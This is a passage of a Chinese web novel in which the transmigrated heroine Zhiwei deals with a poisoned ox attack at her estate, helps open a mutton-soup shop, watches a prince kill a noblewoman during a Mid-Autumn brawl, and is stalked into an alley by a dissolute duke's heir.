好了,她知道自己很美,但是也经不住人这样看,怪害羞的。 她否掉了自己那个莫名其妙的想法。 不过对于宋言澈的话她还是听了进去的。 知道她所有的事情? 呵,他都知道又能怎样,过往的一切经历都教会了她,必须要心狠手辣。 就算吧,就算他怀疑她不是知知,那又能怎样? 人可是会变的,她只是从知知,成长成了知微罢了。 一阵风吹过,树叶哗啦啦又响了起来。 知微仰头看了看忽而阴了的天,道:“走吧,时辰也不早了,该回去了。” 宋言澈回过神,眸中情感激烈的向外迸发,他伸了伸手,却在对上她澄澈无波的眼眸时,偃旗息鼓。 他心中虽有千言万语,最后却还是汇成了一个字。 好。 二人并肩而行,知微心情应是好了许多,这才来的及打量周围的环境。 管事的动作很快,牛和人都已经不见了,知微无声的叹了口气,在上马车时,还是吩咐了一声,叫人去请城里请个大夫给小女孩看看。 她是想直接回城里的。 却在月痕那句“小姐,回庄子吗”的时候嗯了一声。 她的手轻轻的抚摸着自己的胸口,那里已经没有原主的意识了,但她这颗心却还是会不由自主的担心被疯牛撞了的叶文章。 罢了,去看看吧。 说到底,她还是欠叶家的,就当是为了叶家双亲吧。 马车很快在庄子前停下,里头闹哄哄的,她眉头紧锁的下了马车,却见管事的早已等在门外,“小姐,已经差人去城里请大夫了,附近的村医在给叶文章医治,村医说,叶,叶文章的情况似乎有些不好,他说他只能尽力而为,听天,听天由命。” 知微面无表情的站在那里,轻轻的嗯了一声。 她脑中浮现的,多是从前一家四口相聚在一起的场景,她想,若是叶文章能活过来,前尘往事便一笔勾销吧,她不怨他了。 宋言澈上前,看着愣神的她轻声道,“已经去请大夫了,事情还没到那么遭的地步。” 知微被他给唤回了神智,她还是嗯了一声,却道,“爹娘知道我这么对他,会不会生气?” 宋言澈被她问的一愣,却猛的按住了她的肩膀,一字一句看着她道,“不,这是他罪有应得,没有人会怪你。” 知微看着他紧张的面容,听着他关切的话语,轻轻扯了扯嘴角,微微泛红的眼角也舒展开来。 是啊,他罪有应得。 她这时才忽然明白过来,那些原主的情感已经融进了这具身体的血肉里,叫她下意识的产生反应,对她产生着她无法抗拒的影响。 她转身问那管家道,“疯牛呢?” 管家叹息道,“那牛已经被绑上了,兽医差查验过,应是误食了什么草药,才会发疯,确实是意外。” 知微却冷哼一声,意外?可不见得哦。 她对月痕吩咐道,“留个人在这盯着解决此事,该报官的报官,我不信天底下有这样巧的事情,牛疯了,偏偏不远就有个穿红衣的女娃娃。” 意外,她大老远的过来碰到是意外,别人碰到,可就不是了。 她从来不信巧合。 马车缓缓前行,一路上阴云密布,却并未下雨。 知微从府门处停下,叫车夫将宋言澈送回去,并嘱咐他将车厢内的礼物一并带着。 宋言澈点头,知微冲他笑笑,转身便进了府。 宋言澈回府后,却并未停歇,而是转身叫人备了马车,又出了府。 知微沐浴后换了身衣裙去前厅用膳。 因着她面色不好,一时间众人聊天的声音都小了。 渐渐只剩碗筷交叠的声音。 晚膳有沈父最爱的炖牛肉。 知微看沈父吃的香,拿出帕子擦了擦唇角。 用了一碗饭的沈父清了清嗓子,刚想说将碗递给一旁伺候的丫鬟盛饭,只听知微淡淡的声音响起,“爹爹,我看您最近有些胖了,应该用一碗饭就可以了,对不对。” 沈父心知自己得罪女儿了,递过去的碗又放下了,干咳了两声道,“对对,乖宝说的对,爹爹吃饱了,吃饱了。” 沈鸿回来的晚,尚不知知微在外头发生的事情,只看女儿的面色不好,他秉着这时候的女儿不能惹的原则,又看了两眼面前的炖牛肉,才依依不舍的离开了饭桌。 高氏才不在意丈夫没吃饱呢,只笑着给女儿夹菜,活该!自己刨的坑自己埋去吧! 晚膳后,翠儿抱着知微的胳膊,小心询问姐姐可是有心事。 知微只笑着摸摸她的头发,翠儿的头发已经养的很好了,再也不去从前又干又柴的黄毛丫头了。 她道:“无事,只是今日发生了一些叫人不愉快的事情,不过已经解决了。你今日的大字可写完了?快去写,姐姐明日带你去别苑。” 翠儿一听可以出门,眼睛瞪的铮亮,忙不迭的点头跑回了自己院子。 晚膳时并不见沈知蕴。 知微刚回房,正懒洋洋的躺在美人塌上吃葡萄,便听见花影说大小姐来了。 知微起身,沈知蕴已然走了进来。 姐妹二人已然很久没一同说话了。 知微叫她坐下,叫花影取了壶桂花酒来,如今正是桂花盛开的时候,喝桂花酒最是应景。 她正想找人来喝呢,沈知蕴就来了。 沈知蕴也没拒绝,看着她关心道,“今日可是出了什么事情?怎的不甚开心?我一回府爹爹就拦住我叫我过来了。” 知微也知道她是真的关心,没有旁的意思,她倒了杯酒递过去道,“今日算是我从前的生辰。” 她冲沈知蕴笑了笑,继续道:“去了庄子一趟,本是去看看叶文章过的好不好的,结果却碰到了他救了一个小女孩,自己被疯牛撞飞了,目前生死未知。” 沈知蕴仔细打量着小妹的表情,点了点头,问的却是,“你同宋大人一同去的?” 知微嗯了一声,心说她就知道家中谁都知道这事。她爹那张嘴!明日也只准他吃一碗饭! 这知微可真冤枉沈父了,沈父同高雅晴几人说,是叫他们不要跟着知微。 大女儿他是没敢说的。 毕竟大女儿比小女儿更不好惹。 一大早沈知蕴便出去了,这才刚回府。 她知道,是听安若瑾同她说的。 安若瑾还同她打赌,看顾铭珏和安若瑾谁能抱的美人归。 沈知蕴没理他,不管谁抱得美人归,她必不会叫小妹受了委屈。 沈知蕴继续道:“若是不放心,明日请个太医过去瞧瞧,能保住一条命总是好的,毕竟,他是叶家唯一的血脉。” 知微点头,盲猜一波宋言澈已经带着人去了。 她心知宋言澈可比她看到的有能耐多了。 他口中知道自己的所有事情,是指她经历的那些事情,杀过哪些人? 他今日表白的,到底是知知,还是知微? 几杯酒下肚,知微问了沈知蕴一个问题,“姐姐,你说,一个人会同时爱上两个长的一模一样的人吗?” 看沈知蕴一脸没听懂的表情,知微解释道,“就是,一个人的爱人去世了,他会很快再爱上同爱人长的一样,但是性格却截然不同的人吗?” 沈知蕴皱眉思考了半晌,才道,“你的意思是,他爱上的,只是皮囊?” 嗯…… 知微忽然觉得倒怨不得宋言澈爱她爱到矢志不渝了。 毕竟就她现在这幅皮囊,不是她吹,模样比她好的不多。 她抿了抿唇,也不再去纠结他爱谁这个问题,总之,现在只有她这个人存在了。 她悄咪咪的靠近沈知蕴,心中好奇这人在忙的到底是何事情。 眨巴着眼睛道,“姐姐,你……需要帮忙吗?” 沈知蕴被她那模样逗的噗嗤一笑,捏着她因为饮了酒而红扑扑的小脸道,“不用,姐姐可以。” 知微乖乖的点头,哦了一声,却又伸过头去问道,“爹爹可知道?” 沈知蕴却答的似是而非,“爹爹知,也不知。” 知微没听懂,撅着嘴又哦了一声,“惯会打哑谜。” 沈知蕴揉了揉她的小脑袋,“你且安心,姐姐出不了什么事的。” 第99章 姐俩喝到很晚,不出意外的,知微又喝多了,翌日醒来便闹头疼。 姐俩喝到很晚,不出意外的,知微又喝多了,翌日醒来便闹头疼。 待喝完醒酒汤,知微又歪到了榻上,一口早膳都不愿意吃了。 她嘴上刚念叨完想吃糖葫芦,翠儿却跟变戏法是的,从外头抱了篮山楂来。 知微直接笑开了,问道,“这个时候可没到有这玩意的时候吧,谁送来的,怎的这样早?” 翠儿笑着道是冯三哥一早送来的,还问姐姐哪日有空,他姐姐的羊汤馆快要开业了,邀请姐姐去尝尝呢。 知微见翠儿又蹦又跳的,心情也好了起来,“好的很,我刚想吃糖葫芦了呢,快,月痕叫人去取碳炉和砂糖来,咱们今日便做糖葫芦吃吃。” 又转头对翠儿道,“如今酸果可不好寻,做好咱们送些去别苑给红叶和念秦姐姐她们吃去,咱们正好再去冯三他姐姐那喝羊汤去。” 翠儿头点的跟小鸡啄米似的,她有可是有几日没出去了,快要憋坏了。 几人正忙的不亦乐乎,外头有丫鬟来通传说京郊庄子的管事到了。 知微嗯了一声,叫翠儿带着人先忙着,起身带着花影去了前厅。 管事手里提着个篮子,见到知微,恭敬行礼,道,“小姐,经过昨夜的救治,叶文章已经醒了,现在正昏睡,太医。” 他见知微无甚反应,接着道,“太医说今日应会醒来。” 知微点头,“宋大人带着太医去的?” 管事称是,接着道,“疯牛的事情也已查明,只是还有些纠纷尚未解决,陈护卫今日一早将受到惊吓的女娃同她娘给送回了家,疯牛的主人同,女娃的祖母,一同被送到官府了。” 知微皱眉,“她祖母?也被送到官府?” 管事叹息一声,“是,疯牛误吃的毒草便是那婆子喂的,她,她想将这孩子卖掉换钱,儿子儿媳不让,便想了这么个主意,女娃被牛撞了定活不过去,还能,还能讹牛主人些银钱来,那女娃身上的红衣,便是她一早给孩子送来的,还是用她当年的嫁衣改的,昨日是女娃的生辰,她说是给孩子的生辰礼,孩子很开心的便穿上了……” 古代的女子,能活下来得有多难啊…… 她想,她必须得为天下的女子做些什么才不枉来这一场。 半晌,知微才嗯了一声,道,“从账上取些银钱给送去吧,去跟官府通个气,严惩。” 她又道,“这一家人,可是庄子的佃农?” 管事道,“是,只是,这一家人并未分家,恐怕,恐怕若是严惩了那婆子,这母女……” 知微挑眉,“她男人呢?” 管事叹了口气,“正闹分家呢,被他爹快打死了。” 知微嗯了一声,“你能帮的便帮一把吧。” 管事得了知微的话,顿时松了口气,他确实也是想帮的。 管事笑着将篮子上头的布给掀开递给知微看,“您看,这是老赵头今早摘了辣椒,他一早就送到咱家庄子上来了,叫您看看这果子成的可还行?” 知微惊喜的看着半框辣椒,眉间的阴霾一扫而空,她点头,“行,当然行,可太行了!品相真不错,替我谢谢老赵叔。” 花影接过递了个荷包过去,管事笑着接过,躬身行礼后退了出去。 知微一脸的笑意,满脑子的菜谱,她又很强烈的预感,她要发财了!发大财! 冯三一早便接到了给沈二姑娘送酸果的任务。 真是巧了不是,他姐今早出门时还嘱咐他邀请二姑娘来用膳呢。 他面上没敢露出太兴奋的神情,主要是他已然听初九说了,昨夜侯爷回来发了好大的火,天还未亮呢便要他们几个去找酸果,脚都跑烂了,才在后山上找到一些成熟早的。 冯三撇嘴,“这是想告诉人家二姑娘自己酸了?” 卫虎却踢了他一脚,“酸什么酸,是姨,二姑娘秋日里爱吃酸果做的糕点,再胡乱揣测侯爷的心思,小心再挨罚。” 冯三摸了摸才刚刚好的屁股,嘿嘿的笑了几声,便抱着酸果上了马。 一溜烟的便到了沈府,门房在听到他是给二姑娘送东西的,态度更是出奇的好,不多时便见听到通传的翠儿风风火火的过来了。 翠儿刚练完功,半道上碰到的小厮。 二人说了几句,翠儿抱着酸果去找姐姐,叮嘱冯三喝口茶等着,她去告诉姐姐。 冯三这一盏茶还未喝完,便见二姑娘身边那个叫花影的漂亮丫鬟便过来了。 花影屈身行礼,又从身后的丫鬟手里接过两盒点心递给了冯三,冯三受宠若惊的接过,便听花影道,“我家小姐说今日便有空,问您她是午膳时直接过去还是晚膳时过去。” 冯三自是惊喜非常,“都可都可,我姐一直在准备着,今日一起来就开始熬羊汤了。” 花影便笑着回道,“我家小姐说若是您说都可,那她便午膳时过去,您留个地址就成。” 冯三手中提着糕点,一蹦三尺高的走了。 他绕了段路兴高采烈的告知他姐知微午膳过来的事情,便在冯姐姐的叮嘱声中马不停蹄的走了。 冯三笑的跟朵菊花似的去见侯爷。 怀里的糕点被他双手奉至顾侯身前。 顾严白了这人一眼,没看到侯爷心情不好,你傻乐个什么! 冯三问安后便将糕点的来历及知微中午要到他姐那用膳的事情跟侯爷汇报了。 果然,顾铭珏的黑脸渐渐转晴。 道了句不错,午时之前叫本侯,便悠哉悠哉的补觉去了。 没办法,他已经忙碌多日,近期他都不用上朝。 昨日宋言澈陪了知微一日? 呵,他的机会这不就来了吗。 糖葫芦很容易就做成了。 知微带着翠儿和食盒来了别苑。 念秦果然也在。 红叶扭着水蛇腰走了过来,知微献宝似的打开食盒,几人边吃边聊。 知微目瞪口呆的看念秦一颗一颗的吃着糖葫芦,脸上一点没有觉得酸的意思,唉唉了两声,制止了念秦想要继续捏果子的动作。 红叶这也才注意到,念秦跟前不少竹签了。 念秦不明所以的看着二人,摸了摸自己的脸,问道怎么了? 红叶和知微对视一眼,二人一左一右的,按住了念秦的胳膊,红叶直接叫人去请大夫过来。 念秦更懵了, “您怎么了?我就是大夫啊?” 红叶轻嗑了两声,“医者不自医,你还是不要说话了。” 知微赞同的点头,给她倒了杯温水,轻声道,“喝口水,休息休息,大夫马上就来了。” 别苑有专门坐诊的大夫,且不止一位。 二人把完脉都笑开了,二人对视一眼,点点头,异口同声道,恭喜念秦姑娘。 念秦张了张嘴巴,结结巴巴道,“喜,喜脉?” 大夫点点头,年长一些的道,日子较短,脉太浅,但确为喜脉。 待两位大夫都走了半晌,念秦还沉浸在自己的世界里。 她仿佛跟在梦里似的,成婚才不过一月的功夫,就,就有孕了? 红叶叫人抓紧去往念秦的马车里又垫了层软毯,好叫念秦能坐的更舒服。 知微则是塞钱给了别苑的下人,叫去通知崔文远来接人。 待崔文远着急忙慌的跑上楼,已经冒了一脑门的汗了。 那下人只是同他说念秦在别苑有急事等他,却并未说何事,所以他这一路着急忙慌的,心里已经想了很多的事情,怕再晚上一会,媳妇儿就出了事情。 于是当他看到雅间内完好无损的妻子的时候,猛的便要扑过去。 好在知微眼疾手快一把给扯住了。 知微被他吓了一跳,道,“姐夫,不能这么冒失!” 崔文远结结巴巴道,“我,我以为念秦出了什么事情。” 红叶笑着走进知微,拍了拍她的胳膊道,“好了,快松开。” 她又同崔文远道,“你同念秦慢慢说话,我们先出去。” 于是再开门的时候,众人看到的是红了眼眶并小心翼翼扶着念秦的崔文远。 夫妻二人很快便回了侯府。 念秦的身体很好,但到底是前三个月,还是小心些比较好。 知微问红叶要不要一起去冯三姐姐那用膳,红叶捏了*捏她的小脸,道姐姐有事要忙,你且去,多吃些,怎的还没胖回来。 知微嘿嘿傻乐,道自己可能是天生丽质,怎么吃都不会胖。 被红叶又捏了那半个脸,再胡扯,好好吃饭! 知微来的时辰尚早。 冯三的姐姐是一个很温婉的女子。 她个子不高,身材有些圆润,五官同冯三有些像,更为白净一些。 知微叫了声冯姐姐,同翠儿一起见礼。 丫鬟将带来的礼物递了过去,冯姐姐忙伸手去接,直呼破费。 她有些不好意思,“本来就占了您的便宜,请您来用膳,还叫您破费了。” 知微笑着摇头,“姐姐有所不知,冯三带回来的辣椒,可帮了我大忙,之后我还得指着那东西挣大钱呢,冯姐姐别再同我客气了,叫我看看,姐姐便是要在这胡同口开一家羊汤馆吗?” 一说到这个,冯姐姐便来了兴致,她将知微带到院里,道,“后院我们本是租出去了,前阵子他们不租了,我便想着做些什么吃食来卖,刚好您给小山的那几张方子,我做了之后,左邻右舍的都过来问我做了啥东西这么香,我便想着,不若开个食肆来。” 知微笑着打量,说是后院,却更像个门面,外头熙熙攘攘的,赫然是个集市,周围的家家户户也是同样,后院开门了做生意,前院留着住人。 知微道:“我看您这院子也挺大,挺好的,先开个羊汤馆试试。” 她指着一旁的角落道,“这里再支上了炉子,我再教姐姐做烧饼的法子,配着羊汤喝最是美味了。” 她看向不远处,局促的看着她们的男人道,“这是姐夫吧,这烧饼还得姐夫来打比较合适,男子的力气大,打出来的烧饼肯定好吃,这样姐姐做汤,姐夫做饼,简直完美。” 顾铭珏同冯三过来的时候,冯姐夫正笨拙的烧他们家那口破了底的大缸。 冯三不明所以,“姐夫,这东西你不是说底破了要扔了?” 冯姐夫难得笑的开心,黝黑的脸上还淌着汗水,“可不能扔,你快看,我做烧饼呢,第一锅已经做出来了,快来尝尝。” 顺着姐夫的视线,冯三果然看到了桌子上的几块长长的饼,上头还撒了芝麻,好像很好吃的样子。 他拿起了一个,有些烫手,转身要问侯爷吃不吃,却不见侯爷呢踪影,便自己咬了一口,他眼睛亮了亮,朝姐夫竖起大拇指,姐夫,好吃啊! 冯姐夫笑着点头,道这是沈二姑娘教的,二姑娘可真厉害。 此时的知微,正在厨房教冯姐姐炒菜呢。 也不是教,冯姐姐做饭的手艺不错,她只略微在旁边提醒了一下火候以及放佐料的时间,冯姐姐便能领会的极好。 羊汤也熬好了,奶白奶白的,色香味俱全。 冯姐姐招呼丈夫上菜,知微被请到了主位上。 不料众人一看,顾铭珏正背着手悠哉悠悠的立在饭厅呢。 对于顾铭珏的到来,知微显然并不意外。 就早晨的那半篮山楂,一般人也是搞不到的,也就这位了,神通广大,也不知道差了谁去哪搞到的。 秉着吃人手短的原则,知微请顾侯上座,自己则是同翠儿一起坐到了他下手。 四四方方的桌子,她不至于刻意的做到他对面去。 午膳吃的很好。 羊汤就着热乎的烧饼,清爽的绿豆芽,爽脆的青瓜,红烧肉和肉沫茄子竟然成了无人搭理的一道菜。 反正是宾主尽欢。 羊汤馆定在中秋那日开业。 知微笑着应好,她那日一定早早的过来。 翠儿吃的直打嗝,知微笑着拍拍她的后背,叫她赶紧上车去喝口水。 顾铭珏冷不丁的又出现在她身后,询问她酸果能不能换一碗她亲手做的汤面。 知微转过身,冲他挑挑眉,从怀里掏出了个银牌递给他,“这个给你,去我的面馆吃多少碗都行,免费。” 顾铭珏也不伸手接,无奈朝她道,你知道的,我是什么意思。 知微却撇撇嘴,“嗯……刚才的问题,我重新回答你好了。” 她摇摇头,“不行,我怕我会把你们家老太太给气死。” 她冲顾铭珏眯了眯眼睛,转身上了马车。 顾铭珏却看着她的那车远去,又淡淡的回味了那句,我怕我会把你们家老太太给气死。 他转身隐入人流,脑海里,却不断重复着她这句话。 第100章 中秋节那日,知微早早的便准备了礼物,去了冯姐姐的铺子。 中秋节那日,知微早早的便准备了礼物,去了冯姐姐的铺子。 因着过节,街上热闹的很。 待噼里啪啦的鞭炮响起,锅盖一掀,闻着羊肉香找过来的人也越来越多,有钱的来碗羊肉汤,没钱的来上碗羊杂汤,就上一文钱一个的烧饼,那小滋味,别提有多舒服了。 冯姐姐姐夫不多时便忙的不可开交。 知微也不去给添乱,笑意盈盈的转身便要离开。 就见冯三小跑着追了上来,从怀里掏出张纸,小心的递了过去。 原来是张契书。 羊汤馆有知微三成的收益,上头竟然已经落了官府的印章。 知微自是不会要。 她有些不高兴了,板着脸道,“你这是打我脸呢,几张方子而已,你帮了我大忙,几张方子我还给的起!何以就得给我三成利润了,当我是缺钱缺疯了啊?” 冯三却执拗道,“我姐和姐夫,叫我必须给您,这是您应得的,我姐说,不能白拿您的方子,您要是不要,就叫我一直送到您要为止。” 知微看了看他,挑挑眉对着他道,“这样吧,你也老大不小了,有二十了吧?这个算是我给你的贺仪,你看中了哪家姑娘,你便拿着这个,作为聘礼送给人家,啥也不干便得三成的利润,你也不怕找不着媳妇,也成全了我谢你的心意,怎么样?” 听到说送给看中的姑娘,冯三眼睛亮了亮,那眼睛且不由自主的转向知微身后花影的方向。 又待反应过来知微话里的意思后,还是坚定的摇了摇头,“您这还是不要啊,我姐说是叫我给您,不是给我。” 知微却撇撇嘴,“说了不要便不要,你不要再跟着我了啊,你且送,一直送我便一直不要,赶紧去给你姐帮忙去,一点眼力见都没有,看你姐忙的,赶紧去。” 她说完转身便走,一点也不拖泥带水的。 花影冲他笑了笑,转身也跟着知微走了。 冯三摸摸头,实在不知怎么办才好,好半晌才将契书叠好揣进怀里,脑海里满是花影冲他笑的样子。 知微摇摇头,这傻小子,眼睛都快粘花影身上了。 今日中秋节。 知微秉着不出门不闹事的原则,午时一过便回了府,谁叫也不带外出的。 安乐一早便递了帖子,邀请高雅晴和翠儿一同外出,参加晚间的花灯会。 今夜热闹的很,同元宵节一样,都是取消宵禁的热闹节日,是一家团圆的日子。 因着六皇子的事情,没得知微的点头,翠儿不会出府,她不提,知微自是也不提叫她同安乐出去的事情。 倒也不是不能去,她就是想磨磨翠儿的性子。 晚膳后爹娘难得过二人世界去了。 小辈们则围在一处赏月吃月饼,几个小的在做花灯。 就见高雅晴不断的给翠儿使着眼色。 高雅若一向是不愿意参加这种活动的,她未婚夫并不在京中,便更不想外出了,看到小妹这急不可耐想出去玩的表情,拍了一把小妹的屁股,叫她安分一些。 却见沈知蕴笑着摇摇头,又冲知微道,“叫雅晴和翠儿去吧,是祸躲不过,想必安乐也要等着急了。” 知微看看二人的穿着并无不妥的地方,点点头。 沈知蕴这么说,那定是有她的用意,她叫翠儿小心,看着没心没肺的高雅晴,无奈的叹了口气。 将她头上的发簪换了根普通的,道若是有危险,便用这支簪子防身,上头摸了麻醉药,刺伤皮肤就能生效。 高雅若不想外出,但架不住双胞胎的软磨硬泡,便同兄长和双胞胎一起出了门,知微倒一点不担心她,高雅若稳重,表兄也在,出不了什么事情。 知微想回去看话本子去,却被沈知蕴给拦住了。 沈知蕴笑的神秘,“走吧,带你去看场好戏。” 知微挑眉,眼睛亮了亮,作为一名吃瓜群众,她虽不知沈知蕴他们在谋划何事,但说到看戏,那她必然是要跟着去看的。 知微抿着嘴,疯狂点头。 抱着沈知蕴的胳膊,一同出了府。 她们来到了运河旁的一处酒楼,酒楼内里是回字形的格局,里头有各种表演,它开在嘈杂的闹事区,雅间内推开的窗户可以看到外头热闹的街景,远处河边放河灯祈愿的河景,位置属实不错。 二人气定神闲的在雅间坐下,等待好戏开场。 知微万万没想到沈知蕴叫她一同看的好戏是这样的。 四皇子同六皇子大厅广众之下起了冲突,三皇子去阻拦,被二人给误伤了…… 安若瑾拦完这个又去拦那个,最后自己倒是被打青了眼。 皇帝的三个儿子,竟然全都在这,还闹的不可开交。 平民百姓早就跑了,只剩些跟着几人来的世家公子贵女,皇子各自的侍卫看看这个又看看那个,谁都不敢插手。 偏有那发了疯的,不怕死的上赶着送死。 只见郑馨儿冲上前去挡在六皇子身前,指着四皇子的鼻子疯狂叫嚣,“你算个什么东西竟敢打我表兄!你且等着,我姑姑必不会饶了你这个疯子!” 哦吼,四皇子还真就疯了。 安乐同四皇子的关系尚可,听了郑馨儿的话伸长了脖子气愤道,“郑馨儿你叫谁疯子!皇子之间争吵轮的着你指手画脚!你算个什么东西叫谁等着呢!你郑国公府莫不是要造反不成!” 知微挑眉,造反?沈知蕴等了这半天,难道等的就是这句话? 很好,好极了。 知微挑眉看着躲在角落瑟瑟发抖的翠儿和高雅晴,抿了抿唇。 郑馨儿被六皇子那一脸的血已经气到口不择言,表兄本就因她同四皇子起的冲突,被打了鼻子,现下鼻血止都止不住! 她心中又心疼又气愤便更加不管不顾起来,“他一个疯子我有什么不敢说的!母亲下贱儿子也下贱!下贱!” 顿时整个大厅鸦雀无声。 连安若瑾也没想到,郑馨儿能这么给力,净戳他这个四弟的痛处,还骂人家母亲! 该死!确实该死! 四皇子青筋暴起,也不给众人反应的机会,抄起身旁护卫腰间的长剑一剑将郑馨儿给刺穿了。 这变故就在眨眼之间,郑馨儿死了,鲜血还蹦到了六皇子和安若瑾的身上。 郑馨儿嘴巴大张着,更难听的话语似乎马上便要脱口而出。 可是她死了,再也说不出话来了。 知微是真没想到,这个到处蹦跶的郑国公大小姐死的这样轻易。 被四皇子一剑给刺穿了心脏,片刻的功夫,死的透透的。 她死时还瞪大了眼睛看着自己胸口,张大了嘴巴,她难以置信四皇子敢杀她。 她恍惚还记得从前四皇子上门寻求她爹帮助的模样,他怎么敢杀她!贱人!他怎么敢! 她姑姑是皇后!她是未来皇后!他怎么敢! 可没等她想明白她便倒下了,瞪大了眼睛,死不瞑目。 知微抿着嘴摇了摇头,这人,还真是分不清大小王。 那是皇帝的儿子,即使再不喜,那也是皇帝的亲儿子。 就是一剑杀了她,还能怎的? 皇帝顶多训斥亲儿子一顿罢了。 而这位说话这般大逆不道,被纵的不成样子,啧啧,郑国公这一门,危矣。 人要自取灭亡,还真就会像郑馨儿这般张狂。 给自己命都狂没了。 众人傻眼,厅内一时落针可闻。 半晌,似乎是郑馨儿的丫鬟才反应过来,哇哇大哭着扑到小姐身上,似乎在哭她自己这条命,小姐死了,她还能有的活吗。 六皇子忽然抢了身旁侍卫的长剑也向四皇子冲去! 于是,两个皇子再次打了起来,且是用剑! 刀剑无眼,众人慌乱逃窜。 沈知蕴摇了摇头,对下边的闹剧一点也不在意,她开口道,“四皇子的生母虽只是个渔女,但也确实被皇帝宠信了很长一段时间,她死的突然,皇帝伤心了许久却突然厌恶起了这个儿子,四皇子的生活也发生了翻天覆地的变化,从被人求变成需要求人,后来不知怎么,做事愈发疯癫起来。” 沈知蕴叹息一声,也不知说的是谁,“早死的人,往往都会在男人的回忆里占据很高的位置,活人哪有争的过死人的。” 知微不明所以的点头,楼下一众的公子小姐啊啊大叫着救命啊杀人了,一整个的乱了套了。 知微觉得无趣,并不太想看皇子打架,刚要回雅间,却一眼就看到了对过包厢出来的顾铭珏和宋言澈。 顾铭珏冲她挑挑眉,勾唇一笑,摆了个自以为很帅的动作,一个飞身便下了楼。 他的动作很快,刹那间,便将二位皇子手中的剑给卸了。 他也没再言语,只是一掌劈飞了看台的桌子,四分五裂的巨大动静叫所有人都吓了一跳。 安若瑾还蹦跶了两下,心说装装样子就行了,怎么还来真的。 宋言澈看着下方的大动静似乎是抽了抽嘴角,却还是不忘朝知微二人笑了笑,微微点头示意算作打招呼,便一步一步的下了楼。 他的动作很慢,像在刻意等待着什么时机。 对于宋言澈的出现知微一点也没有意外。 这人升官的速度太快了,说没个后台她是不信的。 你说她爹? 不可能的,以她爹的性子,即使看中宋言澈也会磨练他几年,断不会叫他升的如此之快。 不过宋言澈确实也有常人不及的能力,她爹也确实看中罢了。 知微撇撇嘴,不是说顾铭珏从不站队的吗,三皇子到底是捏了安定侯府什么把柄了,她还挺好奇的。 咦,死的是郑馨儿,安定侯府和郑国公府? 知微茅塞顿开。 敌人一致啊。 沈知蕴只冲她笑笑,她不说,知微也不问,关上了雅间的门,又移到另一边的窗户往下看。 因为靠着路,下头吵吵嚷嚷的。 她一眼便看到高雅晴被吓的一直在抽泣了,翠儿紧紧的牵着她的手安抚着,二人好不容易上了回府的马车。 知微噗嗤一声笑了出来,冲沈知蕴道,“还得是姐姐,这下雅晴这丫头怕是又被吓到了,少不了能消停几日。” 这丫头哪都好,就是太活泼了些,一日一日的不着家,恨不得长在外头,同安乐交好之后更甚。 被高氏训斥了几次也不听,这下好了,见识到外头的凶险了,看看还能不能涨记性了。 沈知蕴问知微要不要一起出去看花灯。 知微点头,来都来了,不出去逛逛多可惜。 知微还是第一次夜里出来。 行人很多,熙熙攘攘的。 街道两旁有许多摆摊的小商贩,知微走一路便买了一路,很快花影和护卫手中便提满了。 知微对自己的战绩颇为满意,又看到路边的馄饨摊,拉着沈知蕴便要过去。 沈知蕴无奈点点她的脑袋,念叨她净贪嘴。 却听一声知蕴二人停住了脚步。 是安若瑾。 知微了然,放开了姐姐的胳膊,叫她且去,自己出不了什么意外的。 沈知蕴点头,并不担心。 只嘱咐她吃完便先回府。 知微乖巧点头,目送姐姐离开,便叫护卫先将东西送回马车,她和花影去喝碗馄饨。 吃东西必然要摘面纱,可这一摘,就不出意外的出了意外了。 100-110 第101章 一个年轻男子在楼上往下那么惊鸿一瞥,便一把推开了怀里的妓子,**着 正是中秋月圆夜。 一男子自楼上往下那么惊鸿一瞥,便一把推开了怀里浓妆艳抹的妓子,手里的折扇打的啪啪作响,眼睛里满是欲望,**着下了楼。 两个下人对视一眼,知道主子是看到了猎物,一脸坏笑的跟了上去。 男子个子不高,中等身材,身着锦衣,腰间束了条金腰带,手上持了把折扇,走起路来晃晃悠悠,脚步虚浮,身上散发着浓重的酒气。 他摇头晃脑的下了楼,四处寻找美人儿的身影,便见馄饨摊前美人儿已经起身戴上了面纱正要离开。 他饶有兴致的跟在美人儿身后,欣赏着那窈窕身姿,那小腰堪称盈盈一握,叫他心生荡漾,脚步都轻快了几分。 知微自是发现了身后跟着的人。 而且也认出了是谁。 那人是郑国公世子,郑馨儿的亲兄长。 京中首屈一指的败类,欺男霸女仗势欺人,有不少女子被他糟蹋了。 还是翠儿跟她念叨,安乐叫她见了这人绕道走,说他背地里欺负了不少姑娘,但都被郑国公和皇后被保下了,这人愈发猖狂,已经到了明目张胆的抢好人家的女儿的地步了,前次安乐阻止了他调戏一女子,同郑世子还起了冲突,安乐竟然也没讨到好,气的安乐骂了这人多日。 知微勾了勾唇角,这位看样子还不知自己妹妹的死讯呢,这一脸被酒色掏空了的模样,啧啧,不若,她再给郑国公府送个大礼吧。 只见知微侧耳朝花影吩咐道,你去买个花灯去河岸那找我,我想去凑热闹放个河灯。 花影不疑有他,转身便去买花灯。 知微则是只身一人故作懵懂的往前方走去。 不知怎的,她竟一人走到了人少的地方,她应是心生害怕,便转身要往回走。 只是一转身便发现了身后跟着的男子,知微看到后方的三人跟受了惊的小鹿一般吓的身子微微颤抖。 露在外头的眸子湿漉漉的,十分不安。 郑世子故作亲热的同她说话,手还朝她伸了过来,脸上的笑容十分渗人,“姑娘,可是同家人走散了?不若告诉在下家中地址,在下将姑娘送回去可好?” 知微故作害怕的后退,头上的珠釵微微抖动,恰一阵风儿扬起了她的面纱,露出她明艳的脸庞。 男子只觉的今日的运气实在不错,不若是天上仙女下凡偏偏被他碰到了,他惊艳不已,脸上的笑容也更加猥琐。 知微揪着手中的帕子,眼眸惊恐,身体微微有些抖,不停摇头,结结巴巴道,“不,不用了,我的丫鬟马上就找过来了,谢公子好意。” 男子却要一把抓住知微,知微侧身躲过,大声斥责,“还,还请公子自重!” 男子却哈哈大笑起来,越走越近,知微看这情况转身就跑,却眼看自己已经被逼到了一处巷口,巷里黑漆漆的,十分骇人。 她无措的看了眼身后,胡乱擦了擦眼角,抽动着鼻子,毅然决然的转身跑进了巷子。 只是走几步她便站定了。 她是有些兴奋的,刚才她回头瞧了,周围无人注意他们。 所以,她这边动静大一些也不碍什么的。 男子熟知地形,知道这巷子就是个死胡同。他叫两个小厮在巷口守着,就着月光,自己大摇大摆的走了进去,想着美人儿的窈窕身姿浑身燥热,已经有些迫不及待。 只见知微气定神闲的站在那里,男子**着,满嘴污言秽语的朝她扑了过来。 知微侧身躲过,男子却更加兴奋起来,“小美人儿手脚还挺利索,本世子喜欢!” 